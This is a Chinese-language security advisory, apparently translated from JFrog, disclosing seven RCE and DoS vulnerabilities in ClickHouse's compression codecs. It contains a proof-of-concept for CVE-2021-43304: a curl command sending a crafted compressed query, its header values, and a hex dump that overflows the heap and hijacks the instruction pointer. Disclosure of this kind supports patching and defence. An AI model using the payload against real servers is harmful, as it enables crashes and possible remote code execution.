ClickHouse DBMS 中发现的 7 个 RCE 和 DoS 漏洞

JFrog 安全研究团队不断监控开源项目,以发现新的漏洞或恶意程序包,并与更广泛的社区分享,以帮助改善他们的整体安全状况。作为这项工作的一部分,该团队最近在ClickHouse中发现了七个新的安全漏洞,一个广泛使用的开源数据库管理系统 (DBMS),专门用于在线分析处理 (OLAP)。ClickHouse 由 Yandex 为 Yandex.Metrica 开发,这是一种网络分析工具,通常用于获取用户操作的可视化报告和视频记录,以及跟踪流量来源以帮助评估在线和离线广告的有效性。JFrog 安全团队负责任地披露了这些漏洞,并与 ClickHouse 的维护人员合作验证修复程序。

这些漏洞需要身份验证,但可以由任何具有读取权限的用户触发。这意味着攻击者必须对特定的 ClickHouse 服务器目标执行侦察以获取有效凭据。任何一组凭据都可以,因为即使是具有最低权限的用户也可以触发所有漏洞。通过触发漏洞,攻击者可以使 ClickHouse 服务器崩溃、泄漏内存内容甚至导致远程代码执行 (RCE)。

以下是 JFrog 安全团队发现的七个漏洞:

  • CVE-2021-43304CVE-2021-43305– LZ4 压缩编解码器中的堆缓冲区溢出漏洞
  • CVE-2021-42387CVE-2021-42388– LZ4 压缩编解码器中的堆越界读取漏洞
  • CVE-2021-42389– 在 Delta 压缩编解码器中除以零
  • CVE-2021-42390– 在 Delta-Double 压缩编解码器中除以零
  • CVE-2021-42391– 在 Gorilla 压缩编解码器中除以零
CVE ID 描述 潜在影响 CVSSv3.1 评分
CVE-2021-43304 解析恶意查询时 LZ4 压缩编解码器中的堆缓冲区溢出 RCE 8.8
CVE-2021-43305 解析恶意查询时 LZ4 压缩编解码器中的堆缓冲区溢出 RCE 8.8
CVE-2021-42387 解析恶意查询时在 LZ4 压缩编解码器中读取的堆越界 拒绝服务或信息泄露 7.1
CVE-2021-42388 解析恶意查询时在 LZ4 压缩编解码器中读取的堆越界 拒绝服务或信息泄露 7.1
CVE-2021-42389 解析恶意查询时在 Delta 压缩编解码器中除以零 拒绝服务 6.5
CVE-2021-42390 解析恶意查询时在 DeltaDouble 压缩编解码器中除以零 拒绝服务 6.5
CVE-2021-42391 解析恶意查询时在 Gorilla 压缩编解码器中除以零 拒绝服务 6.5

技术背景

ClickHouse 服务器允许用户压缩其查询。用户可以通过向其 Web 界面提供decompress=1 URL 查询字符串参数来传递压缩查询,如下所示:

cat query.bin | curl -sS –data-binary @- ‘http://serverIP:8123/?user=guest1&password=1234&decompress=1’

其中 serverIP 是 ClickHouse 服务器的 IP 地址,该服务器设置了用户“guest1”和密码“1234”。该用户也可以配置“只读”策略。

查询的内容 (query.bin) 应采用以下格式:

struct {

uint128_t hash; // Google’s CityHash128

uint8_t compress_method;

uint32_t size_compressed_without_checksum; // the length (in bytes) of the entire struct (including compressed_data contents) minus the first 16bytes hash field.

uint32_t decompressed_size; // the expected decompressed output size

char compressed_data[0]; // the compressed data bytes (variable length)};

客户端将整个结构提供给服务器,从而控制其所有内容。

压缩数据是通过构造一个CompressedReadBuffer实例来使用的,该 struct 作为其输入。

CompressedReadBuffer 的代码调用 readCompressedData读取结构并提取其长度值,计算结构内容(不包括哈希字段)的 CityHash128,并根据结构的哈希字段验证它。然后它调整(基本上是 realloc() 的)最初分配的用于保存解压缩数据的内存缓冲区的大小。然后,通过ICompressionCodec::decompress,调用所选编解码器的doDecompressData。

CVE-2021-42387CVE-2021-43304CVE-2021-42388CVE-2021-43305中,LZ4 编解码器调用LZ4::decompress(source, dest, source_size, dest_size, ..),“compressed_data”为source,它的长度为 source_size,调整大小的内存缓冲区为 dest,结构的“decompressed_size”值为 dest_size。LZ4::decompress 最终调用LZ4::decompressImpl(source, dest, dest_size)它在循环中执行实际的 LZ4 解压缩——以用户控制的长度和偏移量(作为压缩数据字节的一部分提供)将压缩输入的不同部分复制到解压缩的输出内存缓冲区。它定义了用于跟踪源 (ip) 和目标 (op) 中的当前位置的指针变量。

CVE-2021-43304 – 一个堆缓冲区溢出漏洞

以下是与 CVE-2021-43304 相关的 LZ4::decompressImpl() 代码:

template void NO_INLINE decompressImpl(

const char * const source,

char * const dest,

size_t dest_size){

while (true)

{

wildCopy(op, ip, copy_end);    /// Here we can write up to copy_amount – 1 bytes after buffer.

 

ip += length;

op = copy_end;

 

if (copy_end >= output_end)

return;

}}

ip是指向压缩缓冲区的指针, op是指向分配的目标缓冲区的指针,分配的目标缓冲区的大小为在标头中传递的给定 decompressed_size 大小。copy_end是指向复制区域末尾的指针。

copy_amount是模板的参数,可以是 8、16 或 32。复制区域被复制成块,每个块的大小都是copy_amount。例如,这是 wildCopy16 的实现:

inline void wildCopy16(UInt8 * dst, const UInt8 * src, const UInt8 * dst_end){

/// Unrolling with clang is doing >10% performance degrade.#if defined(__clang__)

#pragma nounroll#endif

do

{

copy16(dst, src);

dst += 16;

src += 16;

} while (dst < dst_end);}

由于用户控制decompressed_size和压缩缓冲区,攻击者可以通过准备压缩数据来利用这种情况,该压缩数据的头部包含小于压缩数据实际大小的 decompressed_size。请注意,溢出的长度,以及源的分配大小和溢出的字节内容完全由用户控制,这极大地方便了利用。

另请注意,“if (copy_end >= output_end)”的现有大小检查并不能阻止此漏洞,因为它出现在复制操作之后。CVE-2021-43305 与 CVE-2021-43304 类似,但涉及不同的复制操作(其源是目标缓冲区的受控偏移量)。

利用 CVE-2021-43304

为了证明 CVE-2021-43304 的可利用性,我们创建了一个特制的压缩文件并按照前面的说明发送。query.bin 文件包含以下标头:

  • hash = 匹配计算的 Cityhash
  • compress_method = 0x82(LZ4 方法)
  • size_compressed_without_checksum = 0xc80a
  • 解压缩大小 = 0x1

对于压缩数据,我们使用了“\xff”(重复 200 次)“A”(重复 5100 次)。这些是任意值。生成的格式错误的压缩文件: 在 LZ4::decompressImpl() 内的循环中使用了 200 个 0xff:
00000000 26 fc 61 db c0 83 bb 0a db 58 5a f0 34 e1 30 f6 |&.a……XZ.4.0.|
00000010 82 0a c8 00 00 01 00 00 00 f0 ff ff ff ff ff ff |…………….|
00000020 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |…………….|
*
000000e0 ff ff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |..AAAAAAAAAAAAAA|
000000f0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
0000c81a

template void NO_INLINE decompressImpl(

const char * const source,

char * const dest,

size_t dest_size){

while (true)

{

size_t length;

 

auto continue_read_length = [&]

{

unsigned s;

do

{

s = *ip++;

length += s;

} while (unlikely(s == 255));

};

 

/// Get literal length.

 

const unsigned token = *ip++;

length = token >> 4;

if (length == 0x0F)

continue_read_length();

 

/// Copy literals.

 

UInt8 * copy_end = op + length;

 

 

wildCopy(op, ip, copy_end);    /// Here we can write up to copy_amount – 1 bytes after buffer.

}}

这将使长度增加0xff * 200 = 51000,这正是其余数据的大小。

因此,尽管解压缩后的大小为 1,但更大的大小将被复制到目标。

通过将查询发送到易受攻击的 ClickHouse 服务器,在调试服务器进程的同时,我们设法定期发生以下崩溃,证明对指令指针寄存器的控制,因为代码分支到从 RAX 寄存器获取的地址,该地址已被覆盖我们的“A”值:

尽管这种特定的崩溃是统计的,但我们相信通过适当的堆整形技术,可以开发出稳定的漏洞利用。

CVE-2021-42388 和 CVE-2021-42387 – 堆 OOB 读取漏洞

在 LZ4::decompressImpl() 中:

template void NO_INLINE decompressImpl(

const char * const source,

char * const dest,

size_t dest_size){

while (true)

{

const UInt8 * match = op – offset;

if (length > copy_amount * 2)

wildCopy(op + copy_amount, match + copy_amount, copy_end);

}}

作为 LZ4::decompressImpl() 循环的一部分,从压缩数据中读取一个 16 位无符号用户提供的值(“偏移量”)。它从当前 op 中减去并存储在匹配指针中(op是一个以dest开头并向前移动的指针)。没有验证匹配指针不小于dest。稍后,有一个从匹配到输出指针的复制操作——可能从“目标”内存缓冲区之前复制越界内存。访问缓冲区边界之外的内存可能会暴露敏感信息,或者在某些情况下由于分段错误而导致应用程序崩溃。

CVE-2021-42387 是与 CVE-2021-42388 类似的漏洞,作为复制操作的一部分,它超出了压缩缓冲区(源)的上限。

CVE-2021-42389、CVE-2021-42390 和 CVE-2021-42391 – 除以零漏洞

这些是 ClickHouse 支持的各种编解码器中的除零漏洞。它们基于将压缩缓冲区的第一个字节(在上面的“技术背景”部分中描述)设置为零。解压代码读取压缩缓冲区的第一个字节,并对其进行模运算以获得余数:

UInt8 bytes_size = source[0];

UInt8 bytes_to_skip = uncompressed_size % bytes_size;

在大多数情况下,Intel x86-64 中的模运算是由 DIV 指令执行的,该指令除了将数字相除之外,还将余数保存在寄存器中。因此,如果 bytes_size 为 0,它将最终除以零。

这些漏洞是通过“智能模糊”解压机制发现的。智能模糊测试利用输入格式的知识来生成输入数据,这些数据(相对)遵守预期的协议模式,而不是完全随机的数据。

修复和解决方法

为了解决这些问题,请将 ClickHouse 更新到v21.10.2.15-stable版本或更高版本。

如果无法升级,请在服务器中添加防火墙规则,将 Web 端口 (8123) 和 TCP 服务器端口 (9000) 的访问仅限于特定客户端。

JFrog 产品是否易受攻击?

JFrog 产品不易受此问题的影响,因为JFrog产品不使用 ClickHouse DBMS

致谢

我们要感谢 Yandex 团队及时、专业地处理此问题。

了解更多

除了暴露新的安全漏洞和威胁之外,JFrog 还通过自动安全扫描让开发人员和安全团队轻松访问其软件的最新相关信息。探索JFrog Xray 如何为您提供帮助。

有问题?想法?如有任何疑问,请通过research@jfrog.com联系我们。